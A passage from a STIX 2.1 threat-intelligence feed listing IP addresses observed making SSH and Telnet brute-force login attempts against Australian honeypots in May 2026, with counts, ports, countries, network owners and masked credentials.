      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266366. Organisation(s): GIGA NET TELECOMUNICACOES EIRELI - ME.",
      "id": "indicator--9178c9b1-5226-46a5-8c1c-91e760c1b457",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.80.35.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0fad99e2-de8b-40c2-87e3-1c2601d23376",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.76.172.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--0a39860e-14b8-4fc1-89b4-0db8e6bd757c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--e703f212-ed28-46d1-9e63-5785bc527361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.81.224.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 30058. Organisation(s): FDCservers.net.",
      "id": "indicator--ff6da5c7-d607-46fa-885b-276484f3f1bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.90.98.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19901. Organisation(s): Brightspeed.",
      "id": "indicator--1392ce25-4e0c-4cc6-9c6f-96b457c4cc79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.167.75.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: PT. ASN(s): 12353. Organisation(s): Vodafone Portugal - Communicacoes Pessoais S.A..",
      "id": "indicator--3c694678-248f-43f0-8ab3-1d24bd6606af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.103.81.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SK. ASN(s): 6855. Organisation(s): Slovak Telekom, a.s..",
      "id": "indicator--ac973c4c-cabe-433f-98f6-54fdec5ef7df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.102.10.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 132644. Organisation(s): PT. Cyberindo Mega Persada.",
      "id": "indicator--28058814-57c6-457f-8541-307817ee7d0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.253.68.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150949. Organisation(s): PT RumahNET Internusa.",
      "id": "indicator--d332ae04-e0f0-48c8-9da5-163164a1ee04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.79.244.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24444. Organisation(s): Shandong Mobile Communication Company Limited.",
      "id": "indicator--7b8fa953-5915-470d-981f-34a3e7d4b1ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.14.184.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5ec481a3-2d27-49ef-8369-eb028c357a10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.29.149.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f4a2986d-19a0-4f23-901a-2611fa895ccc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.106.158.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--b6db50b4-4995-4dec-aa8a-38d8e1102707",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.158.32.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--688ad4f0-2c8b-464a-855c-4d2d4c8d49d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.119.228.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 203443. Organisation(s): Indert Connection Lp.",
      "id": "indicator--0dcbd5a3-708d-48bd-841d-4992cf6b8813",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.134.49.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CO. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--54e80900-295b-4942-a401-1c39ce9f5498",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.60.47.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37105. Organisation(s): RAIN-GROUP-HOLDINGS.",
      "id": "indicator--137c684e-83b2-4a16-ab58-24db46c989ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.56.165.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): s*****t. Passwords observed (masked): s*****t.",
      "id": "indicator--b6e35d7a-9a62-423f-b4c5-318756cc1f03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.228.157.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--239cd99a-89ce-4e54-9ad5-073338f4068e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.186.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KG. ASN(s): 12997. Organisation(s): OJSC Kyrgyztelecom.",
      "id": "indicator--1ca512fd-2bdd-4c02-96fa-736be9d7f3ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.237.200.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T02:15:10.000Z",
      "valid_until": "2026-06-12T02:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--91d5d90c-239e-4a0b-b6a9-c0492c66bcaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.153.31.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, T*******2, h******!, r********6.",
      "id": "indicator--035641ff-94e1-470a-8f78-0363e2c2799a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.116.150.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264069. Organisation(s): CONECTTIVA TELECOM LTDA..",
      "id": "indicator--80640e4c-f08c-45e4-bf7d-87f479fc97e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.137.250.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--d42b40e5-b268-4c78-a669-1aa6ad8daf44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.58.24.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265326. Organisation(s): Netfacil Provedor Banda Larga.",
      "id": "indicator--4ffec4b0-8e48-42a6-817a-a1ab0fb92059",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.181.17.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 266320. Organisation(s): Brasil Redes Comunicacoes LTDA - ME.",
      "id": "indicator--075b5580-d6f2-41db-8124-350dd98ccd7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.238.136.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): o**********6.",
      "id": "indicator--4930d861-e2a5-48f8-9873-64f6a552345f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PE. ASN(s): 12252. Organisation(s): America Movil Peru S.A.C..",
      "id": "indicator--afbf68f9-c290-4f19-8e84-6ec603215998",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.6.100.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--833f95f0-3a64-4967-acb1-887a8fda7a8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.202.223.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--1b3420a6-0467-40c6-922a-8988a02db894",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.134.254.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--bd29b276-7b8b-4550-8b66-eb6c843f862f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.3.206.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 211484. Organisation(s): Ysz Trading Co., Limited.",
      "id": "indicator--5af88328-42d5-4abc-8f3c-a497195be665",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.35.227.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--6af144f4-7d05-4061-ae1e-6a0a4d810642",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.171.25.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--0f3931ed-21d5-474d-a4ac-3730e6ca8690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.104.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265868. Organisation(s): GETCOM SAS.",
      "id": "indicator--c98c6cd2-8687-4ae2-8872-a3b1d5026a19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
